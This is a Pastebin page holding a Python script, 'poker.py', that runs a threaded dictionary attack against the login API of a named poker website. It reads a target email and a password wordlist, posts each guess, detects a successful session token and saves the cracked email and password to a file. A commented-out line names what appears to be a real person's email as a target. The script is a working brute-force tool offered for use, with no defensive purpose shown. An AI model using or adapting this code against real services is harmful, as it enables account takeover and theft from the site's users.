Advertisement
Guest User

poker.py

a guest
Jan 19th, 2020
97
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.33 KB | None | 0 0
  1. #coding=utf-8
  2.  
  3. import requests,sys
  4. from multiprocessing.pool import ThreadPool
  5. class main:
  6.     def __init__(self):
  7.         self.cracks=0
  8.         self.found=0
  9.         self.a="http://geaxpoker.com/api/login.json"
  10.         self.e()
  11.        
  12.     def e(self):
  13.         #self.email="mrskltnv@gmail.com"
  14.         self.email=raw_input("Email: ")
  15.         if self.email=="":
  16.             self.e()
  17.         else:
  18.             self.wlist()
  19.        
  20.     def wlist(self):
  21.         try:
  22.             #self.w=open("wlist.lst").read().splitlines()
  23.             self.w=open(raw_input("Password: ")).read().splitlines()
  24.             if len(self.w)==0:
  25.                 print("File Kosong.")
  26.                 self.wlist()
  27.         except Exception as e:
  28.             print("Error: %s"%e)
  29.             self.wlist()
  30.         self.thr()
  31.        
  32.     def thr(self):
  33.         try:
  34.             #self.t=ThreadPool(1)
  35.             self.t=ThreadPool(input("Thread: "))
  36.         except Exception as e:
  37.             print("!: %s"%e)
  38.             self.thr()
  39.         self.t.map(self.crack,self.w)
  40.         if self.found==0:
  41.             print "No result found."
  42.    
  43.        
  44.     def crack(self,u):
  45.         try:
  46.             r=requests.post(self.a,
  47.                 data={"device":"-1",
  48.                     "width":"320","version":"1.0","user":self.email,"pw":u}).json()
  49.             if "sessid" in r.keys():
  50.                 self.found+=1
  51.                 res="\nPASSWORD FOUND: %s & Password: %s"%(self.email,u)
  52.                 open("Result.txt","a+").write(res+"\n")
  53.                 print res
  54.                 print "Result: Result.txt"
  55.                 raw_input()
  56.             else:
  57.                 self.cracks+=1
  58.             print("\rCracking: %s/%s"%(self.cracks,len(self.w))),;sys.stdout.flush()
  59.         except:
  60.             self.crack(u)
  61.                
  62. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement